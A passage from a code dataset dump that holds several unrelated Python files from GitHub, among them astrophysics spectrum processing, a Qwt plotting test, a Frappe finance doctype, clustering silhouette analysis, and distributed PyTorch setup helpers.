'/home/vital/Dropbox/Astrophysics/Data/LzLCS_ISIS/data/reference_mask.txt'\n\nfor i, obj in enumerate(specNameList):\n\n order_list = obsCfg['sample_data'][f'{obj}_order_list']\n\n # Loop through the orders\n wave_joined, flux_joined, err_joined = np.array([]), np.array([]), np.array([])\n for order_label in order_list:\n\n specFileName = dataFolder/f'{obj}'/f'f{obj}sum.{order_label}.ms_s.fits'\n errFileName = dataFolder/f'{obj}'/f'f{obj}sum.{order_label}.ms_e.fits'\n\n # Load the data\n wave, flux = open_XSHOOTER_fits(specFileName)\n wave, err = open_XSHOOTER_fits(errFileName)\n\n # Crop and join the orders\n wmin, wmax = obsCfg['sample_data'][f'{obj}_{order_label}_array_limits'] * (1 + zList[i])\n idcs_spec = np.searchsorted(wave, (wmin, wmax))\n wave_joined = np.concatenate([wave_joined, wave[idcs_spec[0]:idcs_spec[1]]])\n flux_joined = np.concatenate([flux_joined, flux[idcs_spec[0]:idcs_spec[1]]])\n\n # LiMe spectrum\n spec = lime.Spectrum(wave_joined, flux_joined, input_err=err, redshift=zList[i], norm_flux=norm_flux)\n # spec.plot_spectrum(spec_label=f'{obj}')\n\n # Adjust mask to object\n obj_folder = results_fonder/obj\n obj_mask = obj_folder/f'{obj}_mask.txt'\n\n # if not os.path.exists(obj_folder):\n # os.makedirs(obj_folder)\n # shu_copy(refMask, obj_mask)\n\n lime.MaskInspector(obj_mask, wave_joined, flux_joined, redshift=zList[i], norm_flux=norm_flux, n_cols=3)#, y_scale='natural')\n","repo_name":"Vital-Fernandez/vital_tests","sub_path":"astro/data/LzLCS_XSHOOTER_Izotov_new/0_spectra_review.py","file_name":"0_spectra_review.py","file_ext":"py","file_size_in_byte":2486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"18903709414","text":"SHOW = True # Show test in GUI-based test launcher\n\nimport numpy as np\n\nfrom qtpy.QtGui import QPen, QPalette, QColor\nfrom qtpy.QtCore import Qt\n\nimport os\n\nfrom qwt.tests import utils\n\nif os.environ.get(\"USE_PYQWT5\", False):\n USE_PYQWT5 = True\n from PyQt4.Qwt5 import QwtPlot, QwtPlotCurve, QwtPlotMarker, QwtText\nelse:\n USE_PYQWT5 = False\n from qwt import QwtPlot, QwtPlotCurve, QwtPlotMarker, QwtText # analysis:ignore\n\n\nclass VerticalPlot(QwtPlot):\n def __init__(self, parent=None):\n super(VerticalPlot, self).__init__(parent)\n self.setWindowTitle(\"PyQwt\" if USE_PYQWT5 else \"PythonQwt\")\n self.enableAxis(self.xTop, True)\n self.enableAxis(self.yRight, True)\n y = np.linspace(0, 10, 500)\n curve1 = QwtPlotCurve.make(np.sin(y), y, title=\"Test Curve 1\")\n curve2 = QwtPlotCurve.make(y ** 3, y, title=\"Test Curve 2\")\n if USE_PYQWT5:\n # PyQwt\n curve2.setAxis(self.xTop, self.yRight)\n self.canvas().setFrameStyle(0)\n self.plotLayout().setCanvasMargin(0)\n self.axisWidget(QwtPlot.yLeft).setMargin(0)\n self.axisWidget(QwtPlot.xTop).setMargin(0)\n self.axisWidget(QwtPlot.yRight).setMargin(0)\n self.axisWidget(QwtPlot.xBottom).setMargin(0)\n else:\n # PythonQwt\n curve2.setAxes(self.xTop, self.yRight)\n\n for item, col, xa, ya in (\n (curve1, Qt.green, self.xBottom, self.yLeft),\n (curve2, Qt.red, self.xTop, self.yRight),\n ):\n if not USE_PYQWT5:\n # PythonQwt\n item.setOrientation(Qt.Vertical)\n item.attach(self)\n item.setPen(QPen(col))\n for axis_id in xa, ya:\n palette = self.axisWidget(axis_id).palette()\n palette.setColor(QPalette.WindowText, QColor(col))\n palette.setColor(QPalette.Text, QColor(col))\n self.axisWidget(axis_id).setPalette(palette)\n ticks_font = self.axisFont(axis_id)\n self.setAxisFont(axis_id, ticks_font)\n\n self.marker = QwtPlotMarker.make(0, 5, plot=self)\n\n def resizeEvent(self, event):\n super(VerticalPlot, self).resizeEvent(event)\n self.show_layout_details()\n\n def show_layout_details(self):\n text = (\n \"plotLayout().canvasRect():\\n%r\\n\\n\"\n \"canvas().geometry():\\n%r\\n\\n\"\n \"plotLayout().scaleRect(QwtPlot.yLeft):\\n%r\\n\\n\"\n \"axisWidget(QwtPlot.yLeft).geometry():\\n%r\\n\\n\"\n \"plotLayout().scaleRect(QwtPlot.yRight):\\n%r\\n\\n\"\n \"axisWidget(QwtPlot.yRight).geometry():\\n%r\\n\\n\"\n \"plotLayout().scaleRect(QwtPlot.xBottom):\\n%r\\n\\n\"\n \"axisWidget(QwtPlot.xBottom).geometry():\\n%r\\n\\n\"\n \"plotLayout().scaleRect(QwtPlot.xTop):\\n%r\\n\\n\"\n \"axisWidget(QwtPlot.xTop).geometry():\\n%r\\n\\n\"\n % (\n self.plotLayout().canvasRect().getCoords(),\n self.canvas().geometry().getCoords(),\n self.plotLayout().scaleRect(QwtPlot.yLeft).getCoords(),\n self.axisWidget(QwtPlot.yLeft).geometry().getCoords(),\n self.plotLayout().scaleRect(QwtPlot.yRight).getCoords(),\n self.axisWidget(QwtPlot.yRight).geometry().getCoords(),\n self.plotLayout().scaleRect(QwtPlot.xBottom).getCoords(),\n self.axisWidget(QwtPlot.xBottom).geometry().getCoords(),\n self.plotLayout().scaleRect(QwtPlot.xTop).getCoords(),\n self.axisWidget(QwtPlot.xTop).geometry().getCoords(),\n )\n )\n self.marker.setLabel(QwtText.make(text, family=\"Courier New\", color=Qt.blue))\n\n\ndef test_vertical():\n \"\"\"Vertical plot example\"\"\"\n utils.test_widget(VerticalPlot, size=(300, 650))\n\n\nif __name__ == \"__main__\":\n test_vertical()\n","repo_name":"PierreRaybaut/PythonQwt","sub_path":"qwt/tests/test_vertical.py","file_name":"test_vertical.py","file_ext":"py","file_size_in_byte":3894,"program_lang":"python","lang":"en","doc_type":"code","stars":78,"dataset":"github-code","pt":"29"} +{"seq_id":"21760373655","text":"from __future__ import unicode_literals\nimport frappe\nfrom frappe import db\nfrom frappe.model.document import Document\nfrom frappe.utils import flt\nfrom datetime import timedelta, date, datetime, time\nfrom frappe.utils import nowdate, add_days, getdate, get_time, add_months\n\nclass ForwardBooking(Document):\n\tdef on_submit(self):\n\t\tfor row in self.forward_booking_underlying:\n\t\t\tdoc = frappe.get_doc(row.link_to, row.document)\n\t\t\tamount_hedged = flt(doc.amount_hedged) + flt(row.amount_covered)\n\t\t\tamount_unhedged = flt(doc.grand_total) - flt(amount_hedged) - flt(doc.advance_paid) - flt(doc.natural_hedge)\n\t\t\tdoc.amount_hedged = flt(amount_hedged)\n\t\t\tdoc.amount_unhedged = flt(amount_unhedged)\n\t\t\tdoc.save()\n\t\t\tfrappe.db.commit()\n\t\t\t\t\n\tdef on_cancel(self):\n\t\tfor row in self.forward_booking_underlying:\n\t\t\tdoc = frappe.get_doc(row.link_to, row.document)\n\t\t\tamount_hedged = flt(doc.amount_hedged) - flt(row.amount_covered)\n\t\t\tamount_unhedged = flt(doc.grand_total) - flt(amount_hedged) - flt(doc.advance_paid) - flt(doc.natural_hedge)\n\t\t\tdoc.amount_hedged = flt(amount_hedged)\n\t\t\tdoc.amount_unhedged = flt(amount_unhedged)\n\t\t\tdoc.save()\n\t\t\tfrappe.db.commit()\n\n\tdef before_save(self):\n\t\n\t\t# Calculate Total Underlying\n\t\ttotal_underlying = 0.0\n\t\tfor row in self.forward_booking_underlying:\n\t\t\ttotal_underlying += flt(row.amount_covered)\n\t\t\t\n\t\tself.total_underlying = flt(total_underlying)\n\t\t\n\t\t# Calculate Total Cancelled Amount & Average Rate\n\t\ttotal = 0.0\n\t\tinr_total = 0.0\n\t\t\n\t\tfor row in self.cancellation_details:\n\t\t\ttotal += flt(row.cancel_amount)\n\t\t\tinr_total += flt(row.inr_amount)\n\t\t\n\t\tself.total_cancelled = flt(total)\n\t\tif self.total_cancelled>0:\n\t\t\tself.can_avg_rate = flt(inr_total) / flt(total)\n\t\t\t# Calculate Cancellation Loss Profit\n\t\t\trate_diff = 0.0\n\t\t\tif self.hedge == \"Export\":\n\t\t\t\trate_diff = flt(self.booking_rate) - flt(self.can_avg_rate)\n\t\t\telse:\n\t\t\t\trate_diff = flt(self.can_avg_rate) - flt(self.booking_rate)\n\t\t\t\n\t\t\tself.rate_diff = rate_diff\n\t\t\tself.cancellation_profit_or_loss = flt(rate_diff) * flt(self.total_cancelled)\n\t\t\n\t\t\n\t\t# Calculate Outstanding Amount\n\t\t# outstanding = flt(self.amount) - flt(self.total_utilization)-flt(self.total_cancelled)\n\t\t# self.amount_outstanding = flt(outstanding)\n\n\t\t\n\t\t# Set Status as closed if no outstanding\n\t\tif self.amount_outstanding <= 0:\n\t\t\tself.status = \"Closed\"\n\t\telse:\n\t\t\tself.status = \"Open\"","repo_name":"finbyz/fx","sub_path":"fx/fx/doctype/forward_booking/forward_booking.py","file_name":"forward_booking.py","file_ext":"py","file_size_in_byte":2364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"159315979","text":"#Lab9 Unit Converter \n'''\nVersion 1\nAsk the user for the number of feet, and print out the equivalent distance\nin meters. \n\nHint: 1 ft is 0.3048 m. So we can get the output in meters by multiplying \nthe input distance by 0.3048.\n'''\n\nfeet = input(\"Hello! How many feet are we converting today?\\n>\")\nfeet = int(feet)\nmeter = feet * 0.3048\nprint(f\"Fab! Your distance is {meter}!\") ","repo_name":"MistahBigB/Bootcamp_Python","sub_path":"Python/BieschkeLab09_Unit_Converter_v1.py","file_name":"BieschkeLab09_Unit_Converter_v1.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"39565720373","text":"import os\nfrom keras.preprocessing.text import Tokenizer\n\nimport numpy as np\nfrom gensim.models import Word2Vec\nimport string1\n\nEMBEDDING_DIM = 100\nMAX_VOCAB = 5171\n\nword_arr = []\nword_index = {}\nembeddings_index = {}\n\n\ndef to_lines(descriptions):\n all_desc = list()\n for key in descriptions.keys():\n [all_desc.append(d) for d in descriptions[key]]\n return all_desc\n\n\n# fit a tokenizer given caption descriptions\ndef create_tokenizer(descriptions):\n lines = to_lines(descriptions)\n tokenizer = Tokenizer()\n tokenizer.fit_on_texts(lines)\n print(\"test\")\n return tokenizer\n\n\n# load doc into memory\ndef load_doc(filename):\n # open the file as read only\n file = open(filename, 'r')\n # read all text\n text = file.read()\n # close the file\n file.close()\n return text\n\n\n# extract descriptions for images\ndef load_descriptions(doc):\n word_index = []\n mapping = dict()\n # process lines\n for line in doc.split('\\n'):\n # split line by white space\n tokens = line.split()\n # print(tokens)\n if len(line) < 2:\n continue\n # take the first token as the image id, the rest as the description\n image_id, image_desc = tokens[0], tokens[1:]\n # for x in image_desc:\n # word_index.append(x)\n # print(len(word_index))\n\n # remove filename from image id\n image_id = image_id.split('.')[0]\n # convert description tokens back to string\n image_desc = ' '.join(image_desc)\n # print(image_desc)\n # create the list if needed\n if image_id not in mapping:\n mapping[image_id] = list()\n # store description\n mapping[image_id].append(image_desc)\n # print(mapping)\n return mapping\n\n\ndef clean_descriptions(descriptions):\n # prepare translation table for removing punctuation\n table = str.maketrans('', '', string1.punctuation)\n for key, desc_list in descriptions.items():\n for i in range(len(desc_list)):\n desc = desc_list[i]\n # tokenize\n desc = desc.split()\n # convert to lower case\n # desc = [word.lower() for word in desc]\n # remove punctuation from each token\n desc = [w.translate(table) for w in desc]\n # remove hanging 's' and 'a'\n # desc = [word for word in desc if len(word) > 1]\n # remove tokens with numbers in them\n # desc = [word for word in desc if word.isalpha()]\n # desc = {x.replace('ред', '') for x in desc}\n # print(desc)\n # store as string\n desc_list[i] = ' '.join(desc)\n # print(desc_list[i])\n\n\n# convert the loaded descriptions into a vocabulary of words\ndef to_vocabulary(descriptions):\n # build a list of all description strings\n all_desc = set()\n for key in descriptions.keys():\n [all_desc.update(d.split()) for d in descriptions[key]]\n for x in all_desc:\n word_arr.append(x)\n for i in range(len(word_arr)):\n word_index[word_arr[i]] = i\n return all_desc\n\n\n# save descriptions to file, one per line\ndef save_descriptions(descriptions, filename):\n lines = list()\n for key, desc_list in descriptions.items():\n for desc in desc_list:\n lines.append(key + ' ' + desc)\n data = '\\n'.join(lines)\n file = open(filename, 'w')\n file.write(data)\n file.close()\n\n\n# extract features from all images\n\n# directory = '../Flickr8k_Dataset'\n# features = extract_features(directory)\n# print('Extracted Features: %d' % len(features))\n# # save to file\n# dump(features, open('../models/features.pkl', 'wb'))\n\n# prepare descriptions\n\nfilename = '../Flickr8k_text/Flickr_8k.token.txt'\n# load descriptions\ndoc = load_doc(filename)\n# parse descriptions\ndescriptions = load_descriptions(doc)\nprint('Loaded: %d ' % len(descriptions))\n# clean descriptions\n\n# summarize vocabulary\nvocabulary = to_vocabulary(descriptions)\nprint('Vocabulary Size: %d' % len(vocabulary))\n\n# save to file\n# save_descriptions(descriptions, '../att_model/descriptions.txt')\n\n#\n# def get_embedding_matrix(word2idx):\n# w2v_model = Word2Vec.load('../600D_model_cbow/word2vec_model_600_cbow.model')\n# w2v_vocab = w2v_model.wv.vocab\n# print(w2v_vocab)\n# word_embedding_matrix = np.zeros((MAX_VOCAB, WORDEMBED_SIZE))\n# c = 0\n# for word in word2idx.keys():\n# if word in w2v_vocab:\n# c += 1\n# word_vector = w2v_model[word]\n# word_embedding_matrix[word2idx[word]] = word_vector\n# print(\"added\", c, \"vectors\")\n# print(word_embedding_matrix)\n# return word_embedding_matrix\n#\n# get_embedding_matrix(word2idx)\n\n# EMBEDDING_DIM = 256\n# MAX_NB_WORDS = 5741\n#\n# tokenizer = Tokenizer(nb_words=MAX_NB_WORDS)\n# tokenizer.fit_on_texts(texts)\n# sequences = tokenizer.texts_to_sequences(texts)\n# word_index = tokenizer.word_index\n# print('Found %s unique tokens.' % len(word_index))\n#\n\nf = open(os.path.join('../600D_model_cbow/word2vec_model.txt'))\nfor line in f:\n values = line.split()\n word = values[0]\n coefs = np.asarray(values[1:], dtype='float32')\n embeddings_index[word] = coefs\nf.close()\n\nprint('Found %s word vectors.' % len(embeddings_index))\n\nembedding_matrix = np.zeros((MAX_VOCAB, EMBEDDING_DIM))\nfor word, i in word_index.items():\n embedding_vector = embeddings_index.get(word)\n if embedding_vector is not None:\n # words not found in embedding index will be all-zeros.\n embedding_matrix[i] = embedding_vector\nprint(word_index)\nprint(len(embedding_matrix))\n","repo_name":"Dolan001/imagecaptioning","sub_path":"embedding.py","file_name":"embedding.py","file_ext":"py","file_size_in_byte":5585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"72990105678","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.cm as cm\r\nimport networkx as nx\r\nfrom networkx.algorithms.community.community_utils import is_partition\r\n\r\nfrom networkx.readwrite.gml import read_gml\r\n\r\n\r\nimport sys\r\nsys.path.append('./Tp3')\r\nfrom funciones_tp3 import (calcular_particion, NotAPartition, indices_to_nodos_particion,\r\n comunidad_a_color)\r\n#%%\r\ndef crear_nodos_to_indices(particion):\r\n \"\"\"Crea un diccionario que a cada nombre de nodo le asigna los índices\r\n (m, n) tales que particion[m][n] == nombre.\r\n \r\n Input\r\n -----\r\n particion : list\r\n lista de listas. Cada sublista es un cluster y sus elementos son los\r\n nombres de los nodos que pertenecen a dicho cluster.\r\n Output\r\n -----\r\n out : dict\r\n keys son los nombres de los nodos, values son sus índices en la partición\r\n \"\"\"\r\n dicc = {}\r\n for m in range(len(particion)):\r\n for n in range(len(particion[m])):\r\n dicc[particion[m][n]] = (m, n)\r\n return dicc\r\n\r\ndef silhouettes(G, particion, silencioso=False):\r\n \"\"\"\r\n Calcula el valor de silhouette para cada nodo del grafo 'G' dada una\r\n partición 'particion' como lista de listas. Dicho valor está dado por\r\n \r\n s(i) = (b(i) - a(i)) / max(a(i), b(i))\r\n \r\n donde a(i) es la distancia media a todos los nodos del mismo cluster que i\r\n y b(i) es la mínima de las distancias medias a los distintos clusters a los\r\n cuales no pertenece i. Para mayor claridad, sea c_i el cluster al que\r\n pertenece i, y sea Q = particion - c_i el conjunto de los clusters a los cuales\r\n no pertenece i. Entonces se define\r\n \r\n b(i) = min{promedio{d(i,j) : j in cluster} : cluster in Q}\r\n \r\n b(i) también se suele llamar \"distancia media al cluster más cercano\".\r\n\r\n Input\r\n -----\r\n G : nx.Graph\r\n particion : list\r\n lista de listas. Cada sublista es un cluster y sus elementos son los\r\n nombres de los nodos que pertenecen a dicho cluster.\r\n Output\r\n ------\r\n output : list\r\n lista de listas. Cada sublista es un cluster y sus elementos son los\r\n valores de silhouette para cada nodo, preservando el orden del input.\r\n \"\"\"\r\n if not is_partition(G, particion):\r\n raise NotAPartition(G, particion)\r\n\r\n ds = list(nx.all_pairs_shortest_path_length(G))\r\n d = lambda i,j: ds[i][1][j]\r\n # ds[i][1][j] es la distancia (longitud del camino más corto)\r\n # entre i y j\r\n\r\n n = G.order()\r\n nc = len(particion)\r\n # Creamos lista de lista con iguales longitudes que 'particion'\r\n s_values = [[[] for n in range(len(particion[m]))] for m in range(nc)]\r\n # Las listas vacías son \"dummies\" o \"placeholders\" para los valores\r\n # de silhouette, que irán reemplazándolas.\r\n nodos_to_indices = crear_nodos_to_indices(particion)\r\n # Recorremos los nodos en el ordenamiento global correspondiente\r\n # a la función distancia 'd'\r\n for i, nodo in enumerate(G.nodes()):\r\n m, n = nodos_to_indices[nodo]\r\n cluster_actual = particion[m]\r\n otros_clusters = (particion[l] for l in range(nc) if l != m)\r\n a = np.average([d(i,j) for j in cluster_actual]) \r\n try:\r\n dists_interclusters = [np.average([d(i,j) for j in cluster if j != i]) \\\r\n for cluster in otros_clusters]\r\n except KeyError:\r\n if not silencioso:\r\n print('El grafo no es conexo y la distancia entre algunos clusters',\r\n 'es infinita por lo que no se puede realizar por completo el',\r\n 'análisis de silhouettes. Devolviendo lista vacía.')\r\n return []\r\n try:\r\n b = min(dists_interclusters)\r\n except ValueError:\r\n if not silencioso:\r\n print('La partición tiene un solo elemento. Devolviendo lista vacía.')\r\n return []\r\n s_values[m][n] = (b - a) / max(a, b)\r\n return s_values\r\n\r\ndef graficar_silhouettes(sil_vals, colores=None, ax=None, titulo=None):\r\n n_clusters = len(sil_vals)\r\n sils_flattened = [s for cluster in sil_vals for s in cluster]\r\n sil_medio = np.mean(sils_flattened)\r\n n_nodos = len(sils_flattened)\r\n # The silhouette coefficient can range from -1, 1\r\n \r\n if ax is None:\r\n with plt.style.context(('seaborn')):\r\n fig, ax = plt.subplots()\r\n else:\r\n fig = ax.get_figure()\r\n \r\n xmin = min(0, min(sils_flattened) - 0.01)\r\n xmax = max(sils_flattened) + 0.01\r\n ax.set_xlim([xmin, xmax])\r\n\r\n # The (n_clusters+1)*sep is for inserting blank space between silhouette\r\n # plots of individual clusters, to demarcate them clearly.\r\n sep = 0\r\n ax.set_ylim([0, n_nodos + (n_clusters + 1) * sep])\r\n ax.set_yticks([]) # Clear the yaxis labels / ticks\r\n \r\n y_lower = sep\r\n for i in range(n_clusters):\r\n # Aggregate the silhouette scores for samples belonging to\r\n # cluster i, and sort them\r\n ith_cluster_silhouette_values = sorted(sil_vals[i])\r\n\r\n size_cluster_i = len(ith_cluster_silhouette_values)\r\n y_upper = y_lower + size_cluster_i\r\n\r\n if colores is None:\r\n color = cm.nipy_spectral(float(i) / n_clusters)\r\n else:\r\n color = colores[i]\r\n ax.fill_betweenx(np.arange(y_lower, y_upper),\r\n 0, ith_cluster_silhouette_values,\r\n facecolor=color, edgecolor=color, alpha=0.7)\r\n\r\n # Label the silhouette plots with their cluster numbers at the middle\r\n # DESACTIVO ESTO porque muchas veces no queda lindo.\r\n # ax.text(-0.05, y_lower + 0.5 * size_cluster_i, str(i))\r\n\r\n # Compute the new y_lower for next plot\r\n y_lower = y_upper + sep\r\n\r\n if titulo is not None:\r\n ax.set_title(titulo)\r\n ax.set_xlabel(\"Coef. de Silhouette\")\r\n ax.set_ylabel(\"Nodos\")\r\n\r\n # The vertical line for average silhouette score of all the values\r\n ax.axvline(x=sil_medio, color=\"red\", linestyle=\"--\")\r\n\r\n if ax is None:\r\n fig.tight_layout()\r\n fig.show()\r\n \r\n#%%\r\nif __name__ == '__main__':\r\n plt.ion()\r\n\r\n prueba_infomap = True\r\n if prueba_infomap:\r\n g = nx.balanced_tree(h=3,r=2)\r\n particion = calcular_particion(g, method='infomap')\r\n sil = silhouettes(g, particion)\r\n \r\n prueba_dolph = False\r\n if prueba_dolph:\r\n g = read_gml('Tp3/dolphins.gml')\r\n npzfile = np.load('Tp3/tc03Data/Ej_b_particiones.npz')\r\n rewire = npzfile['salida']\r\n original = npzfile['salida_grafo_original']\r\n particion = original[0]\r\n ### Para probar el manejo de errores en silhouettes():\r\n # particion = [list(dolph.nodes())] # funciona\r\n sil = silhouettes(g, particion)\r\n\r\n prueba_disconexos = False\r\n if prueba_disconexos:\r\n g = nx.Graph([[0, 1], [0, 2], [1,2], [3,4], [3,5], [4,5]])\r\n particion = [[0,1,2], [3,4,5]]\r\n sil = silhouettes(g, particion)\r\n\r\n prueba_graficar = True\r\n if prueba_graficar:\r\n colores_nodos, colores_clusters = comunidad_a_color(g, particion)\r\n with plt.style.context(('seaborn')):\r\n fig, (ax1, ax2) = plt.subplots(1, 2)#, figsize=(10, 8))\r\n nx.draw(g, node_color=colores_nodos, ax=ax1, node_size=50)\r\n graficar_silhouettes(sil, ax=ax2, colores=colores_clusters)\r\n","repo_name":"gabrielgorenroig/Urdimbres-Sofisticadas","sub_path":"Tp3/silhouettes.py","file_name":"silhouettes.py","file_ext":"py","file_size_in_byte":7452,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"31874276091","text":"__author__ = 'Stan'\n\nimport os, sys\nimport serial\nimport time\n\n\n\ndef initConsult():\n PORT.flushInput()\n PORT.write(\"\\xFF\\xFF\\xEF\")\n time.sleep(2)\n if PORT.read(1) == \"\\x10\":\n print(\"Congratulations: connected to consult successfully\")\n else:\n print(\"unsuccessful connecting to consult\")\n\n\n\nPORT = serial.Serial(\"/dev/FIND_THIS_BIT\", 9600, timeout=None)\ninitConsult()\n\n\n","repo_name":"stan-sack/Python-Serial-Test","sub_path":"SerialTest.py","file_name":"SerialTest.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"21741812657","text":"# lucam/setup.py\n\n\"\"\"Lucam package setuptools script.\"\"\"\n\nimport sys\nimport re\n\nfrom setuptools import setup\n\nwith open('lucam/lucam.py') as fh:\n code = fh.read()\n\nversion = re.search(r\"__version__ = '(.*?)'\", code).groups()[0]\n\ndescription = re.search(r'\"\"\"(.*)\\.(?:\\r\\n|\\r|\\n)', code).groups()[0]\n\nreadme = re.search(\n r'(?:\\r\\n|\\r|\\n){2}\"\"\"(.*)\"\"\"(?:\\r\\n|\\r|\\n){2}__version__',\n code,\n re.MULTILINE | re.DOTALL,\n).groups()[0]\n\nreadme = '\\n'.join(\n [description, '=' * len(description)] + readme.splitlines()[1:]\n)\n\nlicense = re.search(\n r'(# Copyright.*?(?:\\r\\n|\\r|\\n))(?:\\r\\n|\\r|\\n)+\"\"',\n code,\n re.MULTILINE | re.DOTALL,\n).groups()[0]\n\nlicense = license.replace('# ', '').replace('#', '')\n\nif 'sdist' in sys.argv:\n with open('LICENSE', 'w') as fh:\n fh.write('BSD 3-Clause License\\n\\n')\n fh.write(license)\n with open('README.rst', 'w') as fh:\n fh.write(readme)\n\nsetup(\n name='lucam',\n version=version,\n description=description,\n long_description=readme,\n author='Christoph Gohlke',\n author_email='cgohlke@uci.edu',\n url='https://www.lfd.uci.edu/~gohlke/',\n project_urls={\n 'Bug Tracker': 'https://github.com/cgohlke/lucam/issues',\n 'Source Code': 'https://github.com/cgohlke/lucam',\n # 'Documentation': 'https://',\n },\n packages=['lucam'],\n python_requires='>=3.7',\n install_requires=['numpy>=1.15.1'],\n license='BSD',\n platforms=['Windows'],\n classifiers=[\n 'Development Status :: 7 - Inactive',\n 'License :: OSI Approved :: BSD License',\n 'Intended Audience :: Science/Research',\n 'Intended Audience :: Developers',\n 'Operating System :: Microsoft :: Windows',\n 'Programming Language :: Python :: 3 :: Only',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9',\n 'Programming Language :: Python :: 3.10',\n ],\n)\n","repo_name":"sk999moon/lucam","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"29"} +{"seq_id":"6696642578","text":"import itertools\n\n# input\nn, m = map(int, input().split())\nx_lst = []\nfor _ in range(n):\n x_lst.append(list(map(int, (input()))))\n\n# matrix 1d -> 2d convert\ndef to_matrix(l,m) :\n return [l[i:i+m] for i in range(0, len(l), m)]\n\n# itertools의 product를 이용해서 비트마스크 제너레이터 만들기 \n# e.g) (0,0,0,0), (0,0,0,1) ... (1,1,1,1)\na = itertools.product([0, 1], repeat=n*m)\nans = 0\n\n# 가로부터 합계를 구해주고 세로 합계 구해줘서 더함\nfor x in a:\n bit_mask = to_matrix(x, m)\n sumh = 0\n\n for i in range(n):\n hori = 0\n for j in range(m):\n if bit_mask[i][j] == 0:\n hori = 10 * hori + x_lst[i][j]\n if bit_mask[i][j] == 1 or j == m - 1:\n sumh = sumh + hori\n hori = 0\n\n sumv = 0\n\n for j in range(m):\n vert = 0\n for i in range(n):\n if bit_mask[i][j] == 1:\n vert = 10 * vert + x_lst[i][j]\n if bit_mask[i][j] == 0 or i == n - 1:\n sumv = sumv + vert\n vert = 0\n\n sum_all = sumh + sumv\n\n ans = max(ans, sum_all)\n\nprint(ans)","repo_name":"chaselover/practiceAlgorithm","sub_path":"14391종이조각.py","file_name":"14391종이조각.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"13745136679","text":"\"\"\"\nAuthor: Rafael Zamora-Resendiz (LBNL)\n\nShort script defining some distributed Pytorch contexts\nfor multi-gpu communication. Implemented for SLURM and LSF\nscheduling environment when working on KDI and SUMMIT respectively.\n\n\"\"\"\n\n#--\nimport os, torch, random\nimport numpy as np\nimport torch.nn as nn\nimport torch.distributed as distr\n\n#-\nSLURM_GLOBALVARS = [\"MASTER_ADDR\", \"MASTER_PORT\", \"SLURM_PROCID\", \"WORLD_SIZE\"]\nLSF_GLOBALVARS = [\"WORLD_SIZE\", \"PMIX_RANK\", \"LSB_MCPU_HOSTS\"]\n\n#-\ndef set_seed(seed):\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n\n#---\nclass LocalCPUTorch():\n\n #--\n def __init__(self, rank, world_size, seed=666142):\n self.device = torch.device(\"cpu\")\n self.gidx = None\n self.rank = rank\n self.world_size = world_size\n self.seed = seed\n set_seed(seed)\n\n #--\n def __enter__(self):\n return self\n\n #--\n def __exit__(self, _type, _value, _traceback):\n pass\n\n#---\nclass SLURMDistributedTorch():\n\n #--\n def __init__(self, seed=666142):\n self.device = None\n self.gidx = None\n self.rank = None\n self.world_size = None\n self.seed = seed\n set_seed(seed)\n\n #--\n def __enter__(self):\n env = {key:os.environ[key] for key in SLURM_GLOBALVARS}\n os.environ[\"RANK\"] = env[\"SLURM_PROCID\"]\n distr.init_process_group(backend=\"nccl\")\n self.gidx = distr.get_rank() % torch.cuda.device_count()\n torch.cuda.set_device(self.gidx)\n self.device = torch.device(\"cuda\", self.gidx)\n self.rank = int(env[\"SLURM_PROCID\"])\n self.world_size = int(env[\"WORLD_SIZE\"])\n return self\n\n #--\n def __exit__(self, _type, _value, _traceback):\n distr.destroy_process_group()\n\n #-\n def barrier(self): distr.barrier()\n\n#---\nclass LSFDistributedTorch():\n\n #--\n def __init__(self, seed=666142):\n self.device = None\n self.gidx = None\n self.rank = None\n self.world_size = None\n self.seed = seed\n set_seed(seed)\n\n #--\n def __enter__(self):\n env = {key:os.environ[key] for key in LSF_GLOBALVARS}\n master = list(sorted(env[\"LSB_MCPU_HOSTS\"].split()[2::2]))[0]\n with open(\"/etc/hosts\", \"r\") as f: addrs = f.readlines()\n master_addr = [line.split()[0] for line in addrs if line.strip().endswith(master)][0]\n self.world_size = int(env[\"WORLD_SIZE\"])\n self.rank = int(env[\"PMIX_RANK\"])\n os.environ[\"RANK\"] = str(self.rank)\n os.environ[\"WORLD_SIZE\"] = str(self.world_size)\n os.environ[\"MASTER_ADDR\"] = master_addr\n os.environ[\"MASTER_PORT\"] = \"51234\"\n distr.init_process_group(backend=\"nccl\")\n self.gidx = distr.get_rank() % torch.cuda.device_count()\n torch.cuda.set_device(self.gidx)\n self.device = torch.device(\"cuda\", self.gidx)\n return self\n\n #--\n def __exit__(self, _type, _value, _traceback):\n distr.destroy_process_group()\n\n #-\n def barrier(self): distr.barrier()\n","repo_name":"CrivelliLab/OSA_Phenotyping_LLMs","sub_path":"src/models/src/utils/parallel.py","file_name":"parallel.py","file_ext":"py","file_size_in_byte":2853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"19731879551","text":"\"\"\"\nTicket Organization for tdxplot\nby Eric Edwards, Alex JPS\n2023-06-23\n\nOrganization class and methods for parsing and populating tickets\nin the classes defined in ticketclasses.py.\n\"\"\"\n\n# Packages\nimport csv\nimport os\nimport sys\nfrom datetime import *\nimport io\n\n# Files\nfrom ticketclasses import *\n\n# Constants\nSTANDARD_FIELDS = [\"ID\", 